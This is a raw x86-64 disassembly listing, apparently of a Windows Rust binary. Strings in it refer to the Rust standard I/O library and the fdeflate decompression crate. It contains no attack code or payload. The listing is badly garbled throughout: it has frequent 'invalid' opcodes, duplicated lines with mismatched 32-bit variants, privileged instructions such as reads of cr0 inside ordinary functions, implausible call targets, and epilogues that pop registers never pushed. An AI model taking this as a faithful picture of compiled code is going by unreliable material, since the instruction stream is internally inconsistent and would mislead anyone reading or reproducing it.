invalid
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x40], xmm0
sub dword [rbp + 0x40], eax
jmp 0x14002f452
mov word [rbp - 0x20], 2
lea rax, [0x1401fdc55]
sbb al, 0
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
call 0x13048bb65
add eax, dword [rax]
add byte [rax], al
mov qword [rbp - 0x10], 3
mov edx, 1
add byte [rax], al
add byte [rax - 0x73], cl
loopne 0x14002f416
lea rax, [rbp - 0x20]
jmp 0x14002f46f
lea rax, [0x14025c992]
lea rax, [0x14025c992]
mov qword [rbp - 0x18], rax
call 0x13048bb83
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x10], 1
jmp 0x14002f421
lea rcx, [rbp + 0x40]
lea rdx, [rbp - 0x40]
lea rdx, [rbp - 0x40]
push rbp
ror byte [rbp + rcx*4 + 0x45], 0xaf
lea r8, [rbp - 0x51]
call fcn.1400260a0
mov rcx, qword [rbp + 0x40]
mov ecx, dword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
movzx r8d, word [rbp + 0x50]
mov qword [rsp + 0x20], rdi
and byte [rcx - 0x77], cl
int1
call fcn.140028fc0
mov rcx, r15
wait
invalid
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x50], eax
mov dword [rbp + 0x50], eax
mov qword [rbp + 0x58], rdx
push rbp
pop rax
lea rdx, [rbp + 0x40]
call fcn.14002e940
nop
add rsp, 0xe8
call 0x19b02f491
call qword [rax - 0x173b7eb8]
add byte [rax], al
add byte [rbx + 0x5f], bl
call 0x19b02f491
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov al, 2
jmp 0x14002f2d3
add byte [rax], al
add byte [rsi + 0x48], ah
movd eax, mm1
invalid
enter 0xffffffffffff8949, 0xffffffffffffffc1
jmp 0x1218435f6
mov edi, 0xfffffffe
invalid
invalid
lea edx, [rsi + rbx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add dword [rcx - 0x45], eax
add dword [rax], eax
add byte [rax], al
cmovne edx, esi
add byte [rax - 0x49f0013e], al
ret 0x33c
ror byte [rdi], 1
ror byte [rdi], 1
mov dh, 0xc2
sar bh, 1
loopne 0x14002f649
mov esi, eax
add eax, 0x22d380
adc bl, 0x22
add byte [rdi + 1], bh
ret 0xffe
dec byte [rdi]
mov dh, 0xc2
mov dh, 0xc2
ret 0x8d48
add byte [rax + 0x63], cl
add al, 0x82
loopne 0x14002f6a4
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x1a3aaa
add bl, ch
mov word [rbp - 0x40], 2
adc dword [rbx - 0x7cb70001], ecx
jge 0x14002f633
add byte [rcx + rdi + 0x48], dh
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x80], eax
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov r8d, 0x81
nop word cs:[rax + rax]
movzx r9d, cx
mov ecx, r9d
shr ecx, 4
mov eax, r9d
and al, 0xf
lea r10d, [rax + 0x30]
lea r11d, [rax + 0x37]
cmp al, 0xa
movzx eax, r10b
movzx r10d, r11b
cmovb r10d, eax
mov rax, r8
mov byte [rbp + r8 - 0x52], r10b
dec r8
cmp r9w, 0x10
jae 0x14002f770
add rax, 0xfffffffffffffffe
cmp rax, 0x81
jae 0x14002f7ed
mov ecx, 0x81
sub rcx, r8
add rax, rbp
add rax, 0xffffffffffffffb0
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, str.0x0X
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.140024cd0
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1401d3630]
mov edx, 0x80
mov rcx, rax
call fcn.1401c6ea0
int3
adc byte [rbp + 0x41], dl
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x20
and byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
loop 0x140031012
mov rbx, rdx
lea rcx, [rbx + 0x100]
call fcn.140030b63
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
loop 0x14003107c
mov rbx, rdx
lea rcx, [rbx + 0x280]
mov eax, dword [rax - 0x17fffffe]
mov ch, 0xf9
invalid
invalid
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
insb byte [rdi], dx
and al, 0x70
mov qword [rbp - 0x10], 0xfffffffffffffffe
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
and qword [rcx], 0
and dword [rcx], 0
mov byte [rcx + 0x10], 2
mov rcx, rax
call fcn.140030942
nop
add rsp, 0x70
pop rbp
ret
lea ecx, [rbp - 0x20]
and dword [rcx], 0
invalid
add dh, al
add al, 0
invalid
mov byte [rcx + 4], 0
add byte [rax - 0x73], cl
add eax, 0x1aa96f
invalid
lea rax, str.fatal_runtime_error:_thread_local_panicked_on_drop_n
lea rdx, [rbp - 0x50]
lea edx, [rbp - 0x50]
mov qword [rdx], rax
mov qword [rdx + 8], 1
lea rax, [rbp - 0x18]
mov qword [rdx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rdx + 0x18], xmm0
call fcn.14003126f
add byte [rax], al
invalid
mov rcx, rax
call 0x1400311d7
push 7
invalid
invalid
pop rcx
int 0x29
ud2
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x70]
mov rcx, qword [rbp - 8]
call fcn.1401cac40
lea rax, [0x140031147]
add rsp, 0x20
pop rbp
ret
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
call fcn.1401a86f0
int3
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x70]
jo 0x1400311ba
call fcn.1401c7360
int3
mov ah, byte [rcx + 0x19]
add ah, cl
push rbp
sub rsp, 0x40
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
test rcx, rcx
je 0x140031205
mov rdx, rcx
mov eax, edx
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140031205
add ecx, dword [rax - 0x73]
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 5]
test rax, rax
jne 0x14003120b
add rsp, 0x40
pop rbp
ret
lea rax, [rdx - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdx - 1]
call 0x13f4d9d5f
mov rax, qword [rdx + 7]
mov qword [rbp - 0x10], rdx
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rax - 1]
adc byte [rax - 0x75], cl
invalid
mov rdx, qword [rax + 7]
call fcn.1400328e1
mov rcx, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
jmp fcn.14003cc4d
call 0x140bcf84f
add byte [rax + 0x20c48348], dl
pop rbp
ret
or byte [rax], al
add byte [rax], al
nop
add rsp, 0x28
pop rsi
pop rbp
ret
test dword [rsi - 0x3cfffd07], ebx
mov rcx, qword [rcx + 8]
or cl, ch
in eax, dx
invalid
invalid
invalid
stc
add al, byte [rax]
ret
or cl, ch
in eax, dx
invalid
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r8
mov rdi, rdx
mov edi, edx
invalid
mov edi, edx
xlatb
mov r12, rcx
mov rbx, qword [rcx]
lea r14, str.failed_to_write_whole_buffer
lea esi, [0x140261820]
lea esi, [0x140261820]
lea r15, [0x14028b744]
lea edi, [0x14028b744]
cmp eax, 0x25a40e
invalid
test rsi, rsi
je 0x1400313a9
mov rcx, rbx
mov rdx, rdi
cli
cli
mov r8, rsi
mov eax, esi
call fcn.1401a90a0
mov r13, rdx
test rax, rax
je 0x14003138c
invalid
cmp eax, dword [rcx + rcx*4 - 0x18]
mov eax, r13d
mov eax, ebp
and eax, 3
movsxd rax, dword [r15 + rax*4]
add al, 0x87
add al, 0x87
add rax, r15
jmp rax
cmp byte [rbp + 0x10], 0x23
je 0x140031382
jge 0x140031374
and esi, dword [rbx + rbx - 0x15]
cmp byte [r13 + 0xf], 0x23
je 0x140031382
jmp 0x1400313b0
jmp 0x1400313b0
mov rcx, r13
shr rcx, 0x20
call fcn.140006d19
cmp al, 0x23
jne 0x1400313a1
invalid
jmp 0x160ecd4c1
invalid
mov rcx, r13
call fcn.140060c93
jmp 0x140031336
test r13, r13
je 0x1400313ad
mov rax, rsi
sub rax, r13
jb 0x1400313e8
add rdi, r13
mov rsi, rax
jmp 0x140031336
mov sil, 1
test r13, r13
jne 0x1400313b7
xor esi, esi
jmp 0x1400313d5
mov r13, r14
test r13, r13
setne sil
mov qword [rbp - 0x10], r13
mov rcx, qword [r12 + 8]
mov qword [rbp - 8], r12
call fcn.1400312ec
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx + 8], rax
mov eax, esi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov rcx, r13
mov rdx, rsi
call fcn.1401c6ea0
int3
fimul dword [rcx + 0x21]
ret 0x314d
pop rdx
adc byte [rcx - 0x75], cl
jo 0x14003277a
xor rsi, r11
and rsi, rax
xor rsi, r11
mov r11, qword [rdx + 0x18]
mov ebx, dword [rdx + 0x18]
mov rdi, qword [r8 + 0x18]
xor rdi, r11
xor edi, ebx
sbb byte [rcx + rsi - 0x21], cl
and rdi, rax
and edi, eax
xor rdi, r11
mov rdx, qword [rdx + 0x20]
mov r8, qword [r8 + 0x20]
xor r8, rdx
and r8, rax
ror byte [rcx + 0x31], 0xd0
ror byte [rcx + 0x31], 0xd0
mov qword [rcx], r9
mov qword [rcx + 8], r10
invalid
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], r8
pop rdi
pop rsi
ret
mov ebx, eax
mov rsi, rdx
mov rdi, rcx
mov r12, qword [rcx + 0x18]
mov esp, dword [rcx + 0x18]
mov esp, dword [rcx + 0x18]
mov r14, 0xffffffffffffffff
dec dword [rax - 0x7b]
invalid
test rbx, rbx
je 0x14003283c
mov r15, r12
add r15, rbx
mov rdx, r15
cmovb rdx, r14
mov r13, qword [rdi + 0x10]
cmp rdx, qword [rdi]
jbe case.0x1400566a3.126
sub rdx, r13
mov rcx, rdi
call fcn.1401c59d0
mov r13, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
cmp r12, r13
jbe 0x140032817
cmp r12, r13
in al, dx
je 0x140032810
mov byte [rcx + r13], 0
inc r13
inc ebp
inc ebp
jmp case.0x1400566a3.128
mov qword [rdi + 0x10], r12
mov r13, r12
mov ebp, esp
mov ebp, esp
add rcx, r12
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp r15, r13
out dx, eax
jbe 0x14003282e
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
jg 0x14003284a
add rsi, rbx
mov r12, r15
xor ebx, ebx
jmp 0x1400327ce
fucomi st(3)
xchg edx, eax
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rdi
ret
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdx, rcx
mov eax, edx
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140032877
test rax, rax
jne 0x14003287d
add rsp, 0x40
pop rbp
ret
lea rax, [rdx - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdx - 1]
call 0x13f4db3d1
mov rax, qword [rdx + 7]
mov qword [rbp - 0x10], rdx
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax - 1]
mov rdx, qword [rax + 7]
mov edx, dword [rax + 7]
mov edx, dword [rax + 7]
call fcn.1400328e1
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
add rsp, 0x40
pop rbp
jmp fcn.14003cc4d
call 0x140a69cc1
add byte [rax + 0x20c48348], dl
pop rbp
ret
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x30]
push 0x30
push 0x30
mov rcx, qword [rbp - 8]
call fcn.14003296f
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
nop
add rsp, 0x28
pop rsi
pop rbp
ret
invalid
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r8
mov rdi, rdx
mov edi, edx
invalid
mov edi, edx
xlatb
mov r12, rcx
mov rbx, qword [rcx]
lea r14, str.failed_to_write_whole_buffer
lea esi, [0x140261820]
lea esi, [0x140261820]
lea r15, [0x14028b754]
lea edi, [0x14028b754]
wait
lea esp, [0x1368871bc]
test rsi, rsi
je 0x140032a2c
mov rcx, rbx
mov rdx, rdi
cli
cli
mov r8, rsi
mov eax, esi
call fcn.1401a90a0
mov r13, rdx
test rax, rax
je 0x140032a0f
mov eax, r13d
mov eax, ebp
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
cmp byte [rbp + 0x10], 0x23
je 0x140032a05
jmp 0x140032a33
mov rcx, r13
shr rcx, 0x20
call fcn.140006d19
cmp al, 0x23
jne 0x140032a24
invalid
invalid
mov rcx, r13
call fcn.14003284e
jmp 0x1400329b9
test r13, r13
je 0x140032a30
mov rax, rsi
sub rax, r13
jb 0x140032a6b
add rdi, r13
mov rsi, rax
jmp 0x1400329b9
mov sil, 1
test r13, r13
jne 0x140032a3a
xor esi, esi
jmp 0x140032a58
mov r13, r14
test r13, r13
setne sil
mov qword [rbp - 0x10], r13
mov rcx, qword [r12 + 8]
mov qword [rbp - 8], r12
call fcn.14003296f
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx + 8], rax
mov eax, esi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov rcx, r13
mov rdx, rsi
call fcn.1401c6ea0
int3
mov bh, 0x80
add byte [rax], al
movaps xmmword [rdi + 0x4890], xmm6
and dword [rdi + 0x489f], 0
add byte [rax], al
add byte [rax - 0x73], cl
mov ebx, 0x4a40
invalid
movaps xmmword [rdi + 0x1f0], xmm6
and qword [rdi + 0x210], 0
mov byte [rdi + 0x22c], r14b
adc byte [rdx], al
add byte [rax], al
add byte [rax + rcx*4 - 0x49], al
sub al, 2
add byte [rax], al
and dword [rdi + 0x228], 0
mov r8d, 0x1e0
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rdi + 0x1e0], rsi
mov dword [rdi + 0x1e8], 1
call 0x1410338e7
add byte [rax], al
add byte [rax + rcx*4 - 0x49], al
sub eax, 0x6a000002
add dword [rcx - 0x42], ebx
add byte [rax + rax], al
add byte [rdx + 0x400], bh
add dword [rcx - 0x42], ebx
add byte [rax + rax], al
add byte [rdx + 0x400], bh
call fcn.140032d7f
test rax, rax
je 0x140035032
lea rcx, [rbx + 0xa0]
mov qword [rcx], rsi
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rsi
pcmpeqd xmm7, xmm7
pcmpeqd mm7, mm7
mov r13d, 0x3333
add byte [rax], al
mov r15d, 0x5555
mov dword [rbx + 0x3c], eax
xor eax, eax
mov qword [rbx + 0x78], rax
xor eax, eax
mov qword [rbx + 0xc8], rax
mov dword [rbx + 0xc8], eax
mov dword [rbx + 0xc8], eax
mov rcx, qword [rbx + 0xc8]
enter 0, 0
mov rdx, qword [rbx + 0x130]
mov r8, qword [rbx + 0x138]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.14001ca54
invalid
dec dword [rax - 0x77]
xchg ebx, eax
rol byte [rax], 0
add byte [rax + 0x4c6bbb], al
add byte [rdi], al
nop
invalid
jne 0x14003397c
mov al, 7
xor ecx, ecx
xor r8d, r8d
jmp 0x140034caa
adc eax, dword [rax]
add byte [rbx + rcx*4 - 0x5d], cl
invalid
mov al, 0
add byte [rax], al
mov r12, qword [rbx + 0xb0]
movabs dword [0x4ce7894c000000b0], eax
mov eax, dword [rbx + 0x78]
mov rdi, r12
mov r8, qword [rbx + 0x78]
sub rdi, r8
jb 0x140035002
invalid
outsd dx, dword [rsi]
invalid
add byte [rax], al
mov r14, qword [rbx + 0xa8]
mov rcx, qword [rbx + 0x4c38]
and qword [rbx + 0x4c38], 0
mov qword [rbx + 0x88], rax
mov rax, qword [rbx + 0xc0]
add eax, 0
add byte [rax], al
add eax, 0
add byte [rax], al
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x48], r8
test rcx, rcx
mov qword [rbx + 0x58], r12
mov dword [rbx + 0x58], esp
mov dword [rbx + 0x58], esp
mov qword [rbx + 0x40], r14
je 0x140033a5b
mov rdx, r14
mov r14b, byte [rbx + 0x4c40]
mov rcx, r8
mov r8, r12
mov r12, qword [rbx + 0x4c48]
cmp r12, rdi
mov rsi, rdi
cmovb rsi, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.14001ca54
mov r8, rdx
mov rcx, rsi
mov rdx, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.140060ae0
xor ecx, ecx
cmp rdx, rcx
je 0x140033a25
mov byte [rax + rcx], r14b
inc rcx
jmp 0x140033a17
cmp rdi, r12
jae 0x140033a4b
sub r12, rsi
mov qword [rbx + 0x4c38], 1
mov byte [rbx + 0x4c40], r14b
mov qword [rbx + 0x4c48], r12
jmp 0x140033aee
add rsi, qword [rbx + 0x78]
mov qword [rbx + 0x48], rsi
mov r12, qword [rbx + 0x58]
pop rax
pop rax
mov r14, qword [rbx + 0x40]
mov rax, qword [rbx + 0x4c50]
and qword [rbx + 0x4c50], 0
test rax, rax
je 0x140033afc
mov rdx, qword [rbx + 0x4c58]
mov r8, qword [rbx + 0x4c60]
mov r9, r12
mov rcx, qword [rbx + 0x48]
sub r9, rcx
sub ecx, ecx
sub ecx, ecx
cmp r8, r9
mov rsi, r9
cmovb rsi, r8
mov r10, rdx
neg r10
neg edx
neg edx
mov r11, r14
sub r11, rdx
mov rdi, rsi
sub rdi, 1
jb 0x140033acd
invalid
lea rax, [r10 + rcx]
cmp rax, r12
jae 0x140034e0f
cmp rcx, r12
jae 0x140034e26
loope 0x140033aca
and dword [rsi + 0x13], 0
add byte [rcx - 0x76], al
add al, 0xb
mov al, byte [r11 + rcx]
mov byte [r14 + rcx], al
inc rcx
inc ecx
inc ecx
shr ebx, 0xd7
jmp 0x140033aa4
cmp r9, r8
jae 0x140033af8
sub r8, rsi
mov qword [rbx + 0x4c50], 1
add byte [rax], r8b
add dword [rax], eax
add byte [rax], al
add byte [rax], r8b
add dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x4c58], rdx
mov qword [rbx + 0x4c60], r8
and dword [rax + 0x4c], 0
invalid
and dword [rax + 0x4c], 0
add byte [rcx], dh
leave
xor ecx, ecx
xor r12d, r12d
jmp 0x140034c98
add qword [rbx + 0x48], rsi
add dword [rbx + 0x48], esi
mov byte [rbx + 0x57], 8
mov al, byte [rbx + 0x57]
mov dl, byte [rbx + 0x4c6b]
cmp dl, al
je case.default.0x140033b27
movzx eax, dl
mov eax, eax
lea rcx, [0x14028b764]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov byte [rbx + 0x57], dl
push rdi
push rdi
jmp rax
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x88]
add al, ch
invalid
invalid
invalid
dec dword [rdx + 0x4c6a8b]
add byte [rax - 0x79f0f007], al
xchg bl, al
sldt word [rax]
xchg bl, al
sldt word [rax]
mov r8, qword [rbx + 0x4c30]
mov eax, r8d
and eax, 0x200f
mov rax, cr0
add byte [rcx - 0x4c], al
add dword [rbx - 0x74b3f708], eax
jae 0x140033ba4
mov rax, cr0
add byte [rcx - 0x4c], al
add dword [rbx - 0x74b3f708], eax
jae 0x140033ba4
jne 0x140034af4
mov cl, byte [rdi]
add byte [rax], al
mov eax, r8d
and eax, 0xf0
cmp eax, 0x70
ja 0x140034af4
xchg dword [rcx + 0xf], edi
add byte [rax], al
xchg dword [rcx + 0xf], edi
add byte [rax], al
mov eax, r8d
rol ax, 8
xor edx, edx
mov r9w, 0x1f
mov ecx, 0x4166001f
div ecx
mov ecx, 0x4166001f
div ecx
test dx, dx
jne 0x140034af4
shr r8, 0x10
mov qword [rbx + 0x4c30], r8
add cl, 0xf0
mov byte [rbx + 0x4c6a], cl
mov byte [rbx + 0x4c6b], 1
jmp case.default.0x140034499
mov al, 4
mov rsi, qword [rbx + 0x48]
mov qword [rbx + 0x48], rsi
cmp al, 4
jne case.default.0x140034499
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x88]
call fcn.140032d87
mov r10, qword [rbx + 0x58]
mov rdi, r10
mov rsi, qword [rbx + 0x48]
sub rdi, rsi
je 0x140034982
mov r11, qword [rbx + 0x4c30]
mov eax, r11d
and eax, 0xfff
mov eax, dword [rbx + rax*4 + 0x198]
test ax, ax
js 0x140033c25
bt eax, 0xe
jb 0x140033df3
mov r9d, eax
shr r9d, 0x10
mov edx, eax
shr edx, 8
jmp 0x140033eb7
mov r8b, byte [rbx + 0x4c6a]
cmp r8b, 0x2f
jbe 0x140033d92
mov rdx, r11
mov ecx, eax
shr rdx, cl
mov r9d, 0xfff
and edx, r9d
mov r12d, dword [rbx + rdx*4 + 0x198]
lea ecx, [r12 + rax]
mov rdx, r11
shr rdx, cl
and edx, r9d
mov edi, dword [rbx + rdx*4 + 0x198]
add ecx, edi
mov rdx, r11
shr rdx, cl
and edx, r9d
mov r9d, dword [rbx + rdx*4 + 0x198]
mov edx, r12d
and edx, edi
test dx, r9w
jns 0x140033d92
mov rdx, r9
mov r9d, eax
shr r9d, 8
and r9d, 0xf
mov r10d, r12d
shr r10d, 8
and r10d, 0xf
mov r14d, edi
shr r14d, 8
and r14d, 0xf
mov esi, edx
shr esi, 8
and esi, 0xf
add r9, qword [rbx + 0x48]
add r10, r9
add r14, r10
add rsi, r14
cmp rsi, qword [rbx + 0x58]
jae 0x140033d92
mov qword [rbx + 0x70], rdx
add cl, dl
shr r11, cl
mov qword [rbx + 0x4c30], r11
sub r8b, cl
mov byte [rbx + 0x4c6a], r8b
mov rdx, qword [rbx + 0x58]
mov rcx, qword [rbx + 0x48]
cmp rdx, rcx
jbe 0x140034f1d
mov r11d, eax
shr r11d, 0x10
mov r8, qword [rbx + 0x40]
mov byte [r8 + rcx], r11b
inc rcx
cmp rcx, rdx
jae 0x140034f2e
shr eax, 0x18
mov byte [r8 + rcx], al
cmp r9, rdx
jae 0x140034f3f
mov eax, r12d
shr eax, 0x10
mov byte [r8 + r9], al
inc r9
cmp r9, rdx
jae 0x140034f53
shr r12d, 0x18
mov byte [r8 + r9], r12b
cmp r10, rdx
jae 0x140034f67
mov eax, edi
shr eax, 0x10
mov byte [r8 + r10], al
inc r10
cmp r10, rdx
jae 0x140034f7b
shr edi, 0x18
mov byte [r8 + r10], dil
cmp r14, rdx
jae 0x140034f8f
mov rcx, qword [rbx + 0x70]
mov eax, ecx
shr eax, 0x10
mov byte [r8 + r14], al
inc r14
cmp r14, rdx
jae 0x140034fa3
shr ecx, 0x18
mov byte [r8 + r14], cl
mov r14, r8
jmp 0x1400341df
sub r8b, al
jb 0x140034986
mov esi, eax
shr esi, 8
and esi, 0xf
mov rdi, qword [rbx + 0x48]
lea r10, [rdi + 1]
mov rdx, qword [rbx + 0x58]
cmp r10, rdx
mov r14, qword [rbx + 0x40]
jae 0x1400349fa
cmp rdx, rdi
jbe 0x140034ea3
mov ecx, eax
shr ecx, 0x10
mov byte [r14 + rdi], cl
mov edx, eax
shr edx, 0x18
mov ecx, eax
shr r11, cl
mov byte [r14 + rdi + 1], dl
add rsi, rdi
mov qword [rbx + 0x4c30], r11
mov byte [rbx + 0x4c6a], r8b
jmp 0x1400341df
bt eax, 0xd
mov r14, qword [rbx + 0x40]
jae 0x140034a1d
shr eax, 0x10
mov ecx, r11d
shr ecx, 0xc
and ecx, 7
add rcx, rax
mov rdx, qword [rbx + 0x190]
cmp rdx, rcx
jbe 0x140034ecd
mov rax, qword [rbx + 0x188]
movzx r8d, word [rax + rcx*2]
mov eax, r8d
and al, 0xf
mov r9b, byte [rbx + 0x4c6a]
mov edx, r9d
sub dl, al
jb 0x14003498a
mov ecx, r8d
shr r8d, 4
cmp cx, 0x1000
jae 0x140033e7c
mov ecx, eax
shr r11, cl
mov qword [rbx + 0x4c30], r11
sub r9b, al
mov byte [rbx + 0x4c6a], r9b
cmp r10, rsi
jbe 0x140034ef2
mov byte [r14 + rsi], r8b
inc rsi
jmp 0x1400341df
cmp r8w, 0x100
je 0x140034a33
lea rcx, [r8 - 0x101]
cmp rcx, 0x1c
ja 0x140034f09
lea rcx, [0x1401e83c0]
mov r9d, dword [rcx + r8*8 - 0x808]
lea rcx, [0x1401e84c0]
mov dl, byte [r8 + rcx - 0x101]
mov r14, r11
mov ecx, eax
shr r14, cl
push 0xffffffffffffffff
pop rsi
mov ecx, edx
shl rsi, cl
mov qword [rbx + 0x70], r14
shr r14, cl
mov ecx, r14d
and ecx, 0x1ff
mov r8d, dword [rbx + rcx*4 + 0x4198]
add byte [rbp - 0x7b], al
invalid
je 0x140033efb
mov dword [rbx + 0x98], r9d
mov r12d, r8d
shr r12d, 0x10
mov r9d, r8d
shr r9d, 8
jmp 0x140033f5a
push 0xffffffffffffffe2
pop rcx
mov r12b, 1
test rcx, rcx
je 0x140034adc
movzx r8d, word [rbx + rcx*2 + 0x49d4]
and r8w, r14w
lea r10, [rcx + 1]
cmp r8w, word [rbx + rcx*2 + 0x4a10]
mov rcx, r10
jne 0x140033efe
mov r8b, byte [rbx + r10 + 0x4a2d]
test r8b, r8b
test al, al
je 0x140034adc
mov dword [rbx + 0x98], r9d
lea rcx, [0x1401e8324]
lea ecx, [0x1401e8324]
mov r9b, byte [r10 + rcx + 0x1d]
lea rcx, [0x1401e82e8]
sbb eax, dword [rax]
sbb eax, dword [rax]
movzx r12d, word [rcx + r10*2 + 0x3a]
mov ecx, r8d
shr r14, cl
push 0xffffffffffffffff
pop r10
mov ecx, r9d
shl r10, cl
add al, dl
add r9b, r8b
add r9b, al
mov al, byte [rbx + 0x4c6a]
add byte [rax], al
add byte [rax], al
sub al, r9b
jb 0x140034986
movzx ecx, r12w
not r10
and r14, r10
add r14, rcx
mov r12, qword [rbx + 0x48]
mov r8, r12
sub r8, r14
jb 0x140034b04
add byte [rax], al
not rsi
mov edx, dword [rbx + 0x98]
xchg ebx, eax
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x53], cl
jo 0x140033ff5
and edx, esi
mov ecx, r9d
shr r11, cl
shr ebx, cl
shr ebx, cl
add r10, rdx
mov qword [rbx + 0x4c30], r11
mov byte [rbx + 0x4c6a], al
cmp r10, rdi
mov rsi, rdi
cmovb rsi, r10
cmp r14, 1
mov qword [rbx + 0x70], r10
jne 0x14003402a
lea rcx, [r12 - 1]
mov rax, qword [rbx + 0x58]
cmp rcx, rax
jae 0x140034ede
hlt
invalid
add byte [rax], al
hlt
mov rdx, qword [rbx + 0x40]
mov r14b, byte [rdx + r12 - 1]
je 0x140034014
dec dword [rcx + rcx*4 - 0x1f]
mov r8, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
lea ecx, [0x1401e8558]
call fcn.14001ca54
mov r8, rdx
mov rcx, rsi
mov rdx, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
or eax, 0x1b455b
or eax, 0x1b455b
call fcn.140060ae0
xor ecx, ecx
cmp rdx, rcx
je 0x140034089
invalid
retf 0x6874
mov byte [rax + rcx], r14b
inc rcx
jmp 0x14003401c
lea rax, [r12 + r10]
add rax, 0xf
mov rdx, qword [rbx + 0x58]
push rbx
pop rax
push rbx
pop rax
cmp rax, rdx
jbe 0x14003409b
invalid
cmp r14, rsi
jae 0x1400341a9
mov r10, r14
neg r10
mov r8, qword [rbx + 0x40]
sub r8, r14
invalid
mov r9, rsi
sub r9, 1
jb 0x1400341ca
lea rax, [r10 + r12]
mov rdx, qword [rbx + 0x58]
cmp rax, rdx
jae 0x140034e7b
cmp r12, rdx
cmp esp, edx
jae 0x140034e8f
mov al, byte [r8 + r12]
mov rdx, qword [rbx + 0x40]
mov byte [rdx + r12], al
inc r12
jmp 0x140034054
mov rax, qword [rbx + 0x70]
mov eax, dword [rbx + 0x70]
cmp rdi, rax
jae 0x1400341d7
jmp 0x140034a95
lea r9, [r8 + 0x10]
